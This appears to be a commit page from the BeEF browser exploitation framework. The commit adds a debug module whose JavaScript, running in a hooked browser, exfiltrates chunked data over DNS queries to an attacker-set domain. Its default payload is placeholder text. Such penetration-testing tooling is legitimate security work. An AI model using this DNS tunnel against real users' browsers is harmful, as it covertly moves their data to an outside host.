#970 Added debug module to test DNS tunnel (client-to-server).
This commit is contained in:
23
modules/debug/test_dns_tunnel_client/command.js
Normal file
23
modules/debug/test_dns_tunnel_client/command.js
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
//
|
||||||
|
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||||
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
// See the file 'doc/COPYING' for copying permission
|
||||||
|
//
|
||||||
|
|
||||||
|
/*
|
||||||
|
Check the Browser Hacker's Handbook, chapter 3, pages 89-95 for more details about how this works.
|
||||||
|
*/
|
||||||
|
|
||||||
|
beef.execute(function() {
|
||||||
|
|
||||||
|
var msgId = "<%= @command_id %>";
|
||||||
|
var domain = "<%= @domain %>";
|
||||||
|
var data = "<%= @data %>";
|
||||||
|
//chunks comes from the callback
|
||||||
|
beef.net.dns.send(msgId, data, domain, function(chunks){
|
||||||
|
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'dns_requests='+chunks+' requests sent');
|
||||||
|
}
|
||||||
|
);
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
15
modules/debug/test_dns_tunnel_client/config.yaml
Normal file
15
modules/debug/test_dns_tunnel_client/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
beef:
|
||||||
|
module:
|
||||||
|
test_dns_tunnel_client:
|
||||||
|
enable: true
|
||||||
|
category: "Debug"
|
||||||
|
name: "DNS Tunnel"
|
||||||
|
description: "This module sends data one way over DNS, client to server only. BeEF's DNS server is used to reconstruct chunks of data being extruded via DNS. <br> Make sure that: <br>- the DNS extension is enabled, <br>- listening on port 53,<br>- you defined a wildcard rule for processing DNS queries on subdomains such as 'pattern': '\\.*.browserhacker.com'"
|
||||||
|
authors: ["antisnatchor", "wade", "bcoles"]
|
||||||
|
target:
|
||||||
|
working: "All"
|
||||||
26
modules/debug/test_dns_tunnel_client/module.rb
Normal file
26
modules/debug/test_dns_tunnel_client/module.rb
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
class Test_dns_tunnel_client < BeEF::Core::Command
|
||||||
|
|
||||||
|
def self.options
|
||||||
|
@configuration = BeEF::Core::Configuration.instance
|
||||||
|
|
||||||
|
return [
|
||||||
|
{'name' => 'domain', 'ui_label'=>'Domain', 'type' => 'text', 'width' => '400px', 'value' => 'browserhacker.com' },
|
||||||
|
{'name' => 'data', 'ui_label'=>'Data to send', 'type' => 'textarea', 'value' =>
|
||||||
|
'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras rutrum fermentum nunc, vel varius libero pharetra a. Duis rhoncus nisi volutpat elit suscipit auctor. In fringilla est eget tortor bibendum gravida. Pellentesque aliquet augue libero, at gravida arcu. Nunc et quam sapien, eu pulvinar erat. Quisque dignissim imperdiet neque, et interdum sem sagittis a. Maecenas non mi elit, a luctus neque. Nam pulvinar libero sit amet dui suscipit facilisis. Duis sed mauris elit. Aliquam cursus scelerisque diam a fringilla. Curabitur mollis nisi in ante hendrerit pellentesque ut ac orci. In congue nunc vitae enim pharetra eleifend.',
|
||||||
|
'width' => '400px', 'height' => '300px'
|
||||||
|
}
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
def post_execute
|
||||||
|
content = {}
|
||||||
|
content['dns_requests'] = @datastore['dns_requests']
|
||||||
|
save content
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
Reference in New Issue
Block a user